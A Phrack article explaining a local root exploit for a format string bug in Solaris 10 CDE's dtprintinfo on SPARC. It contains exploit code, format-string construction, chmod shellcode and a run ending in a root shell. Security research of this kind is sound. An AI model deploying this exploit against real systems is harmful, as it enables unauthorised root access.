Headline
CVE-2022-43752: .:: Phrack Magazine ::.
** UNSUPPORTED WHEN ASSIGNED ** Oracle Solaris version 10 1/13, when using the Common Desktop Environment (CDE), is vulnerable to a privilege escalation vulnerability. A low privileged user can escalate to root by crafting a malicious printer and double clicking on the the crafted printer’s icon.
Introduction
The Phrack Staff
Phrack Prophile on xerub
The Phrack Staff
Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622
saelo
Cyber Grand Shellphish
Team Shellphish
VM escape - QEMU Case Study
Mehdi Talbi & Paul Fariello
.NET Instrumentation via MSIL bytecode injection
Antonio ‘s4tan’ Parata
Twenty years of Escaping the Java Sandbox
Ieu Eauvidoum and disk noise
Viewer Discretion Advised: (De)coding an iOS Kernel Vulnerability
Adam Donenfeld
Exploiting Logic Bugs in JavaScript JIT Engines
saelo
Hypervisor Necromancy; Reanimating Kernel Protectors
Aris Thallas
Tale of two hypervisor bugs - Escaping from FreeBSD bhyve
Reno Robert
The Bear in the Arena
xerub
Exploiting a Format String Bug in Solaris CDE
Marco Ivaldi
Segfault.net eulogy
skyper
YouTube Security Scene
LiveOverflow
Title : Exploiting a Format String Bug in Solaris CDE
Author : Marco Ivaldi
==Phrack Inc.==
Volume 0x10, Issue 0x46, Phile #0x0d of 0x0f
|=-----------------------------------------------------------------------=| |=----------=[ Exploiting a Format String Bug in Solaris CDE ]=----------=| |=-----------------------------------------------------------------------=| |=--------------=[ Marco Ivaldi [email protected] ]=--------------=| |=-----------------------------------------------------------------------=|
–[ Table of Contents
1 - Intro 2 - The Bug 3 - The Exploit 3.1 - SPARC Stack Layout Woes 3.2 - Fake Printer Setup 3.3 - Environment Setup 3.4 - Write4 Primitive 3.5 - Target Memory Location 3.6 - Custom Shellcode 4 - Outro 5 - Shouts 6 - References
–[ 1 - Intro
“What we do in life echoes in eternity.” – Maximus Decimus Meridius, https://patchfriday.com/22/
Yes, I’m aware we’re living in 2021, but fax machines are still around and so is Solaris. And even if the title of this article may seem a bit anachronistic, I assure you it’s still possible to find format string bugs in production code. Especially if you take a look into the formidable mess that is the Common Desktop Environment (CDE), a software that all UNIX hackers from the 90s will remember fondly [0]. It turns out CDE is still being distributed with the latest Solaris 10 version. Solaris 10 itself will be supported at least until January 2024, according to Oracle [1]. As far as I’m aware, it’s still used in a lot of critical environments, especially telcos.
In this article I will be dissecting a particularly challenging memory corruption exploit I published in February. It targets a format string bug in the dtprintinfo setuid binary distributed with CDE, in order to achieve local root privilege escalation on unpatched Solaris 10 systems. The bug affects both Intel and SPARC architectures, but here I’m going to focus specifically on SPARC.
This is Phrack, so there’s no need to explain what Solaris [2] is, what SPARC [3] is, or how format string bugs [4] are exploited. However, for the perusal of all young hackers reading this I’ve conveniently listed some references at the end of this article.
–[ 2 - The Bug
“Bugs are by far the largest and most successful class of entity.” – Encyclopedia of Animal Life
I’ve been hacking Solaris for quite some time. My first public exploits for this platform are from 2003 [5]. A couple of years ago, in the wake of my INFILTRATE 2019 talk [6], in which I reminisced about the good old days of unmitigated memory corruption vulnerabilities, I received an email from Marti Guasch Jimenez, a security researcher from Spain, who discovered an extraordinary bug in the infamous dtprintinfo CDE Print Viewer binary.
The bug in question is in the check_dir() function. Here’s a snippet of pseudocode from Ghidra’s decompiler, slightly edited and commented for clarity:
void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(char *param_1, undefined4 param_2, void **param_3, int *param_4, int param_5) { … char *pcVar3; … char local_724 [300]; char local_5f8 [300]; … size_t local_c; …
pcVar3 = getenv("REQ\_DIR");
if (pcVar3 == (char \*)0x0) {
sprintf(local\_724, "/usr/spool/lp/requests/%s/", param\_2);
} else {
pcVar3 = getenv("REQ\_DIR");
sprintf(local\_724, pcVar3, param\_2); /\* VULN \*/
}
local\_c = strlen(local\_724);
sprintf(local\_5f8, "/var/spool/lp/tmp/%s/", param\_2);
...
}
Can you spot the bug? I’m pretty sure you can. Actually, there’s more than one bug to spot here. CDE developers managed to achieve something truly remarkable: we have two bugs for the price of one, both in the same line of code! A stack-based buffer overflow *and* a format string bug. Not to mention the other sprintf()-related buffer overflows… Wow. This really is code from another era.
I’ve written a few exploits [7] that target these bugs. On Intel, I was able to exploit both the buffer overflow and the format string bug. On SPARC, on the other hand, I could only exploit the format string bug because of how the stack is laid out, as detailed in section 3.1 below. As a general rule, exploitation on SPARC is usually more painful (and fun) than on Intel.
Looking closely at the code snippet above, at the line I marked with the “VULN” comment the value associated with the environment variable REQ_DIR (pcVar3) is directly passed as the second parameter to sprintf(). Thus, by manipulating this variable a local attacker is easily able to control the format string used by sprintf(). A user-supplied format string in a setuid root program means this is game over, right? Right, but before we can do the r00t dance we need to overcome a series of roadblocks.
–[ 3 - The Exploit
“I’m gonna have to go into hardcore hacking mode!” – Hackerman, https://youtu.be/KEkrWRHCDQU
The specific exploit I’m going to dissect today is the one I named raptor_dtprintcheckdir_sparc2.c. It’s a reliable local root privilege escalation exploit that should work against all unpatched Solaris 10 systems based on the SPARC architecture. It’s a pretty lean exploit now, but its development took me some time. I spent almost two weeks putting it together, and came close to giving up a couple of times.
----[ 3.1 - SPARC Stack Layout Woes
While I could easily exploit the stack-based buffer overflow on Intel (see raptor_dtprintcheckdir_intel.c), exploitation on SPARC was definitely not straightforward.
The problem I encountered, as mentioned earlier, is related to the SPARC stack layout. When exploiting a classic stack-based buffer overflow on SPARC we can’t overwrite the saved return address of the current function, but we’re only able to overwrite the saved return address of the caller of the current function. In practice, this means that the vulnerable program needs to survive an additional function before we can hijack %pc.
Depending on the target, exploitation of stack-based buffer overflows on SPARC might be easy, hard, or virtually impossible. In this specific case, many vital variables would get overwritten on the way to the saved return address and the vulnerable program would not easily survive until the caller function returned. For this reason, I decided to focus on exploiting the format string bug instead.
----[ 3.2 - Fake Printer Setup
Our target binary is the CDE Print Viewer. Quoting from the dtprintinfo(1) manual page:
“The Print Viewer program provides a graphical interface that displays the status of print queues and print jobs. Additional information about print queues or print jobs can be retrieved within the interface, individual print queue labels and icons can be customized, and individual print jobs can be canceled.”
Basically, dtprintinfo provides an X11 graphical interface that displays various information about remote and local print jobs. This is the call tree that leads to the vulnerable code path (I have provided both C++ mangled and demangled names for each symbol):
Queue::ProcessJobs() // __0fFQueueLProcessJobsPc() |___ LocalPrintJobs() // __0FOLocalPrintJobsPcPPcPi |___ check_dir() // __0FJcheck_dirPcTBPPP6QStatusLineStructPii
The vulnerable function check_dir() gets called by the LocalPrintJobs() function. This is a utility function used by Queue::ProcessJobs() to get the list of local print jobs. LocalPrintJobs() enters the directory specified by the TMP_DIR environment variable (more on this later) and calls the check_dir() function for each subdirectory that is present. This is the relevant pseudocode (again, edited and commented for clarity):
/* open TMP_DIR */ pcVar4 = getenv(“TMP_DIR”); if (pcVar4 == (char *)0x0) { chdir(“/usr/spool/lp/tmp”); } else { pcVar4 = getenv(“TMP_DIR”); chdir(pcVar4); } __dirp = opendir(“.”); …
/* check each subdirectory in TMP_DIR */ pdVar6 = readdir64(__dirp); if (pdVar6 != (dirent64 *)0x0) { uVar2 = pdVar6->d_type; while (true) { __file = &pdVar6->d_type; if (((uVar2 != ‘.’) && (iVar7 = stat64((char *)__file, &sStack456), -1 < iVar7)) && ((sStack456.st_uid & 0x4000) != 0)) { chdir((char *)__file); __0FJcheck_dirPcTBPPP6QStatusLineStructPii(param_1, __file, &DAT_00065db0, &local_4, DAT_00065db4); chdir(“…”); }
In order to enter this code path, we must be able to double click on a configured printer in the dtprintinfo GUI. This means two things:
- We must have a valid X11 server that accepts connections from the remote vulnerable dtprintinfo program, so that we are able to interact with the GUI (for my tests I used XQuartz on macOS, configured to accept network connections from any host via the “xhost +” command).
- A configured printer must be present in the GUI so that we can double click on it.
With this introduction out of the way, it’s time to look at the first part of my exploit:
int main(int argc, char **argv) { …
/\* lpstat code to add a fake printer \*/
if (!strcmp(argv\[0\], "lpstat")) {
/\* check command line \*/
if (argc != 2)
exit(1);
/\* print the expected output and exit \*/
if(!strcmp(argv\[1\], "-v")) {
fprintf(stderr, "lpstat called with -v\\n");
printf("device for fnord: /dev/null\\n");
} else {
fprintf(stderr, "lpstat called with -d\\n");
printf("system default destination: fnord\\n");
}
exit(0);
}
...
add\_env("PATH=.:/usr/bin");
...
/\* create a symlink for the fake lpstat \*/
unlink("lpstat");
symlink(argv\[0\], "lpstat");
As discussed, a configured printer is necessary in order to be able to reach the vulnerable code path. This code fakes the presence of a printer connected to the system by exploiting one of the venerable 18-year-old bugs I disclosed at INFILTRATE 2019 [6]: old versions of dtprintinfo execute the external helper program lpstat without specifying its full path. This allows local unprivileged users to trick dtprintinfo into believing that a printer is present by creating a fake lpstat program and manipulating the PATH environment variable, as shown in the code snippet above.
If your target system already has a configured printer, you don’t need to use this trick.
----[ 3.3 - Environment Setup
Let’s continue to examine the exploit source code. Here, we parse command line arguments (including the X11 display string) and setup the environment before running the vulnerable program:
/\* process command line \*/
if (argc < 2) {
fprintf(stderr,
"usage:\\n$ %s xserver:display \[retloc\]\\n$ /bin/ksh\\n\\n",
argv\[0\]);
exit(1);
}
sprintf(display, "DISPLAY=%s", argv\[1\]);
if (argc > 2)
retloc = (int)strtoul(argv\[2\], (char \*\*)NULL, 0);
/\* evil env var: name + shellcode + padding \*/
bzero(buf, sizeof(buf));
memcpy(buf, "REQ\_DIR=", strlen("REQ\_DIR="));
p += strlen("REQ\_DIR=");
/\* padding buffer to avoid stack overflow \*/
memset(buf2, 'B', sizeof(buf2));
buf2\[sizeof(buf2) - 1\] = 0x0;
/\* fill the envp, keeping padding \*/
add\_env(buf2);
add\_env(buf);
add\_env(display);
add\_env("TMP\_DIR=/tmp/just"); /\* we must control this empty dir \*/
add\_env("PATH=.:/usr/bin");
add\_env("HOME=/tmp");
add\_env(NULL);
There are some important things to notice in this code snippet:
- As previously discussed, the REQ_DIR environment variable contains the hostile format string that triggers the bug. We will finish building this string in the next sections.
- The TMP_DIR environment variable must point to a path in which we can create a directory. This is another prerequisite to reach the vulnerable code path, as mentioned in the previous section.
- The buf2 buffer serves as padding so that sprintf() has enough memory space and doesn’t crash trying to reach past the bottom of the stack while processing our hostile format string.
----[ 3.4 - Write4 Primitive
So far, so good. It’s now time for the hard part. In order to convert our memory corruption into a nice weird machine and hijack the program flow, we must be able to leverage the format string bug to write arbitrary bytes at arbitrary locations in memory. The typical and usually most convenient technique to achieve this is the one that involves single-byte writes via the %n formatting directive. A good example of this approach is available in my exploit for the Intel architecture (raptor_dtprintcheckdir_intel2.c), in which I implemented a strategy inspired by an old technique originally devised by gera. Let’s take another look at the vulnerable pseudocode:
} else {
pcVar3 = getenv("REQ\_DIR");
sprintf(local\_724, pcVar3, param\_2); // 1
}
local\_c = strlen(local\_724); // 2
sprintf(local\_5f8, "/var/spool/lp/tmp/%s/", param\_2); // 3
The plan I put into action on Intel is to exploit the sprintf() at "1", where we control the format string, to replace the strlen() at “2” with a strdup() and the sprintf() at “3” with a call to the shellcode dynamically allocated in the heap by strdup() at “2” and pointed to by the local_c variable. This is achieved with a simple overwrite of two .got section entries. Cool, isn’t it? But I digress… If you want to dig deeper into this technique, you’re invited to take a look at the exploit. In the context of the present article the most important thing to understand is that the hostile format string is built using the %n formatting directive in such a way that target memory addresses are overwritten one byte at a time. Unfortunately, this is not possible on SPARC. Like any other RISC architecture, SPARC is not happy with memory operations on misaligned/odd addresses and if we tried this approach the program would just die spitting a dreaded Bus Error.
An alternative technique that is supposed to work on SPARC involves half-word writes via the %hn formatting directive. The problem with this technique is that it causes a large amount of bytes to be written as a side-effect, and thus in this specific case it makes the program run out of stack space: don’t forget we’re also dealing with a sprintf()-related buffer overflow paired with our format string bug! It might be possible to prevent crashes by increasing the size of the padding buffer (remember buf2 in the exploit code snippet above?), but your mileage may vary.
So, what shall we do? After some days of bumping my head against this roadblock, consulting 20-year-old whitepapers, and endlessly experimenting on GDB, I finally figured out a possibly novel technique to perform single-byte writes on SPARC, using the less known %hhn formatting directive.
Here’s the relevant code that generates the hostile format string in all its glory:
/\* format string: retloc \*/
for (i = retloc; i - retloc < strlen(sc); i += 4) {
check\_zero(i, "ret location");
\*((void \*\*)p) = (void \*)(i); p += 4; /\* 0x000000ff \*/
memset(p, 'A', 4); p += 4; /\* dummy \*/
\*((void \*\*)p) = (void \*)(i); p += 4; /\* 0x00ff0000 \*/
memset(p, 'A', 4); p += 4; /\* dummy \*/
\*((void \*\*)p) = (void \*)(i); p += 4; /\* 0xff000000 \*/
memset(p, 'A', 4); p += 4; /\* dummy \*/
\*((void \*\*)p) = (void \*)(i + 2); p += 4; /\* 0x0000ff00 \*/
memset(p, 'A', 4); p += 4; /\* dummy \*/
}
/\* format string: stackpop sequence \*/
base = p - buf - strlen("REQ\_DIR=");
for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ),
base += 8)
memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ));
/\* calculate numeric arguments \*/
for (i = 0; i < strlen(sc); i += 4)
CALCARGS(n\[i\], n\[i + 1\], n\[i + 2\], n\[i + 3\], sc\[i\],
sc\[i + 1\], sc\[i + 2\], sc\[i + 3\], base);
/\* check for potentially dangerous numeric arguments below 10 \*/
for (i = 0; i < strlen(sc); i++)
n\[i\] += (n\[i\] < 10) ? (0x100) : (0);
/\* format string: write string \*/
for (i = 0; i < strlen(sc); i += 4)
p += sprintf(p,
"%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn",
n\[i\], n\[i + 1\], n\[i + 2\], n\[i + 3\]);
So, basically, we overwrite one byte at a time at the target address (retloc) as follows (remember that SPARC is a big endian architecture, therefore bytes are stored in memory in their natural order):
- First, by using the %n formatting directive on retloc, we overwrite the LSB (position 0x000000ff).
- Next in sequence, by using the %hn formatting directive on retloc, we overwrite the byte located at position 0x00ff0000.
- Then, by using the %hhn formatting directive on retloc, we overwrite the MSB (position 0xff000000).
- Finally, by using the %hhn formatting directive on retloc + 2, we overwrite the byte located at position 0x0000ff00.
From my perspective, this last overwrite shouldn’t be allowed on SPARC, but it works and I’m definitely not complaining!
----[ 3.5 - Target Memory Location
After I figured out my write4 primitive, I needed to pick a suitable memory location to patch in order to redirect the program flow. I turned to the trusted Shellcoder’s Handbook [8] in search of inspiration… and I almost ran out of options. Based on the book and on my experience, I identified the following main possibilities:
- .plt section entries in the vulnerable binary are a common target, but at least on my test system their addresses start with a null byte, therefore this quickly turned out to be a dead end.
- OS function pointers described in the Shellcoder’s Handbook that used to be a popular target 15 years ago unfortunately are not present anymore in recent versions of Solaris 10.
- Being cumbersome and somewhat unreliable, function activation records are a traditionally terrible choice as an overwrite location, but they have a tendency to become more appealing as a last resort target when you have exhausted all other alternatives.
For a while, I went down the rabbit hole represented by the third option… The result of my tribulations is raptor_dtprintcheckdir_sparc.c. After I got the right offsets this exploit worked perfectly on my test system, with just one “minor” caveat: it worked only when GDB or truss were attached to the target process! To borrow Neel Mehta’s words (again, quoted from the Shellcoder’s Handbook):
“It’s quite common to find an exploit that only works with GDB attached to the process, simply because without the debugger, break register windows aren’t flushed to the stack and the overwrite has no effect.”
You gotta love SPARC’s quirks… Feel free to take a look at that specific exploit for a deeper discussion of other potential overwrite targets and hypothetical workarounds. Long story short, after much tweaking and debugging I noticed libc also contains .plt jumpcodes (with relocation type R_SPARC_JMP_SLOT) that, to everyone’s wonder:
- Get executed upon function calling.
- Are writable (why is that?).
- Don’t start with a null byte.
I don’t know about you, but they surely look like a juicy target to me! Let’s take a look at the vulnerable pseudocode once again:
} else {
pcVar3 = getenv("REQ\_DIR");
sprintf(local\_724, pcVar3, param\_2); // 1
}
local\_c = strlen(local\_724); // 2
sprintf(local\_5f8, "/var/spool/lp/tmp/%s/", param\_2); // 3
The plan is to overwrite the jumpcode of the strlen() function that gets called at "2", right after the vulnerable sprintf(). From here on, exploitation is pretty straightf… Wait, with what should we overwrite the .plt entry?
----[ 3.6 - Custom Shellcode
Let’s grab the libc base and the offset to strlen(), by using pmap against the PID of the running vulnerable program and objdump against libc.so.1 as follows:
bash-3.2# pmap 3321 | grep libc.so.1 FE800000 1224K r-x-- /lib/libc.so.1 FE942000 40K rwx-- /lib/libc.so.1 FE94C000 8K rwx- /lib/libc.so.1 bash-3.2# objdump -R /usr/lib/libc.so.1 | grep strlen 0014369c R_SPARC_JMP_SLOT strlen
We are looking at where the code is mapped into memory. As we can see, on my test system the .text section of libc is loaded at base address 0xfe800000 and strlen() is at the relative address 0x0014369c. Adding these two values together gives the absolute address of the strlen() jumpcode in the running process 3321:
bash-3.2# python -c 'print hex(0xFE800000+0x0014369c)' 0xfe94369cL bash-3.2# pmap 3321 | grep libc.so.1 FE800000 1224K r-x-- /lib/libc.so.1 FE942000 40K rwx-- /lib/libc.so.1 <- strlen() jumpcode is here FE94C000 8K rwx- /lib/libc.so.1
The strlen() jumpcode is located in a memory region (mapped at 0xfe942000) that is both executable and writable, as mentioned earlier. What’s in there? Let’s examine the memory contents at the strlen() jumpcode address 0xfe94369c with the help of GDB:
(gdb) x/10i 0xfe94369c Oxfe94369c: nop Oxfe9436a0: b,a 0xfe832000 Oxfe9436a4: nop Oxfe9436a8: nop Oxfe9436ac: b,a 0xfe832980 Oxfe9436b0: nop Oxfe9436b4: nop Oxfe9436b8: ba 0xfe832ac0 Oxfe9436bc: nop Oxfe9436c0: sethi %hi (Oxb4000), %g1
Indeed, our designated target address contains actual executable code, with branches that are taken when a specific library function is invoked.
To ensure that my exploits are reliable, I always like to keep them as simple as possible. Therefore, instead of meddling with jumpcodes and branches, I decided to craft the shellcode directly in the .plt section of libc by exploiting the format string bug, as shown in the last exploit code snippet above. This technique proved to be very effective, but empirical tests showed that (for unknown reasons) the shellcode size was limited to 36 bytes. It looks like there’s a limit to the number of arguments passed to sprintf(), unrelated to where we write in memory… Who cares, 36 bytes are more than enough, right?
Here’s my custom Solaris/SPARC shellcode [9]:
char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */ /* chmod("./me", 037777777777) */ “\x92\x20\x20\x01” /* sub %g0, 1, %o1 */ // 1 “\x20\xbf\xff\xff” /* bn,a <sc> */ // 2 “\x20\xbf\xff\xff” /* bn,a <sc + 4> */ // 3 “\x7f\xff\xff\xff” /* call <sc + 8> */ // 4 “\x90\x03\xe0\x14” /* add %o7, 0x14, %o0 */ // 5 “\xc0\x22\x20\x04” /* clr [ %o0 + 4 ] */ // 6 “\x82\x10\x20\x0f” /* mov 0xf, %g1 */ // 7 “\x91\xd0\x20\x08” /* ta 8 */ // 8 "./me"; // 9
How cute is this? Briefly, it works as follows. At line “1” we set the second argument passed to chmod() via the %o1 register to the value -1, by subtracting 1 from the %g0 register that always contains a value of zero.
The purpose of lines “2” to “4” is to find out where we are in memory, as needed by almost any shellcode to reference any strings it includes. This is commonly known as the GetPC code. On the Intel architecture, GetPC is easily implemented by a jump and the familiar call/pop instruction pair. The instructions necessary to accomplish this on SPARC are slightly more complicated (of course!), due to the so called "branch delay slot". Basically, when a branch or call instruction is reached, the instruction immediately following the branch/call gets executed before the program flow is redirected to the specified destination address. If a branch is “annulled” (e.g., with an instruction such as “b,a <address>”), the instruction in the delay slot is executed only if the branch is taken; otherwise, it’s always executed.
Coming back to our 3 instructions that implement the infamous SPARC GetPC code that deals with the branch delay slot, the order of execution is:
- Line "2": bn,a <sc> // don’t jump, skip next instruction
- Line "5": add %o7, 0x14, %o0 // delay slot of call instruction at “4”
- Line "4": call <sc + 8> // jump to line "3", save return address in %o7
- Line "3": bn,a <sc + 4> // don’t jump, skip next instruction
- Rest of the shellcode, starting with line “5”
After the GetPC code gets executed, we have the address of the call instruction at line “4” stored in the %o7 register. At line “5” we use this value to calculate the address of the “./me” string located at the end of the shellcode (line “9”) and store it into %o0, which will be the first argument passed to chmod(). At line “6” we null-terminate this string by dynamically patching memory. Finally, at lines “7” and “8” we invoke the syscall 0xf, which is chmod().
Now, to get a working exploit we just need to put everything together:
/\* setup the directory structure and the symlink to /bin/ksh \*/
unlink("/tmp/just/chmod/me");
rmdir("/tmp/just/chmod");
rmdir("/tmp/just");
mkdir("/tmp/just", S\_IRWXU | S\_IRWXG | S\_IRWXO);
mkdir("/tmp/just/chmod", S\_IRWXU | S\_IRWXG | S\_IRWXO);
symlink("/bin/ksh", "/tmp/just/chmod/me");
...
/\* run the vulnerable program \*/
execve(VULN, arg, env);
perror("execve");
exit(1);
}
Basically, here we setup the directory structure as needed to reach the vulnerable code path and we create a symlink from /tmp/just/chmod/me to /bin/ksh (/tmp/just/chmod will be the current working directory when the bug gets hit). Then, we launch dtprintinfo with the crafted environment to trigger the bug, execute the shellcode, and make /bin/ksh setuid root.
After the exploit is populated with the correct base address of libc and with the offset to strlen(), it should work reliably against any unpatched Solaris 10 system running on the SPARC architecture. That’s right, it’s a one-shot exploit: there’s no ASLR or any other modern shenanigans to be reckoned with. Just the usual, almost reassuring, non-executable stack.
Here’s an example run of the exploit on my test system:
-bash-3.2$ uname -a SunOS nostalgia 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise -bash-3.2$ id uid=100(user) gid=1(other) -bash-3.2$ ls -l /bin/ksh -r-xr-xr-x 3 root bin 209288 Feb 21 2012 /bin/ksh -bash-3.2$ gcc raptor_dtprintcheckdir_sparc2.c -o \ raptor_dtprintcheckdir_sparc2 -Wall
[on your local X11 server: disable the access control via “xhost +”]
-bash-3.2$ ./raptor_dtprintcheckdir_sparc2 10.0.0.104:0 raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE Copyright © 2020 Marco Ivaldi [email protected]
Using SI_PLATFORM : SUNW,SPARC-Enterprise (5.10) Using libc/.plt/strlen : 0xfe94369c
Don’t worry if you get a SIGILL, just run /bin/ksh anyway!
lpstat called with -v lpstat called with -v lpstat called with -d
[on your local X11 server: double click on the fake “fnord” printer]
Illegal Instruction -bash-3.2$ ls -l /bin/ksh -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh -bash-3.2$ ksh
id
uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
–[ 4 - Outro
“Yeah, I had tickets to the earliest showing (Wednesday 10PM) and was stunned when Trinity whipped out Nmap! I almost got up and did the r00t dance right there in the theatre :).” – Fyodor (0dd)
Hard to believe, but it’s been 21 years almost to the day since that fateful summer, when the first exploits targeting format string bugs were posted on Bugtraq. Shortly after, Lamagra and Tim Newsham published their whitepapers on format string attacks, and one year later scut released his definitive guide on the subject. Frankly, it’s also hard to believe that format string bugs haven’t been completely eradicated, as they’re relatively easy to spot with static analysis techniques. But we all know how these things go, don’t we?
The specific bugs I discussed in this article were fixed during the general cleanup of CDE code done by Oracle in the aftermath of my recent vulnerability disclosures. However, I have the feeling that many bugs are still lurking in CDE, ready to be found by inspired hackers. After all, why do a CTF, when you can do CDE?
–[ 5 - Shouts
“I think different personalities find different bugs.” – Bas Alberts
I would like to thank all fellow old school hackers from ADM, TESO, THC, LSD, 0dd, etc. for their incredible research work spanning decades. You’re an endless source of inspiration for me.
I would also like to thank my partner in VOODOO macro crime against readable code, inode. Without you, I would’ve never started hacking Solaris, so there’s that.
And, of course, Marti Guasch Jimenez deserves a special mention for finding the actual bug I’ve exploited. Keep on hacking!
–[ 6 - References
[0] https://en.wikipedia.org/wiki/Common_Desktop_Environment [1] https://www.oracle.com/us/assets/lifetime-support-hardware-301321.pdf [2] https://en.wikipedia.org/wiki/Solaris_(operating_system) [3] https://en.wikipedia.org/wiki/SPARC [4] https://julianor.tripod.com/bc/formatstring-1.2.pdf [5] https://0xdeadbeef.info/exploits/raptor_libdthelp.c [6] https://github.com/0xdea/raptor_infiltrate19 [7] https://github.com/0xdea/raptor_infiltrate20/tree/main/exploits [8] https://www.goodreads.com/book/show/1174511.The_Shellcoder_s_Handbook [9] https://cybersecpolitics.blogspot.com/2019/03/
|=[ EOF ]=---------------------------------------------------------------=|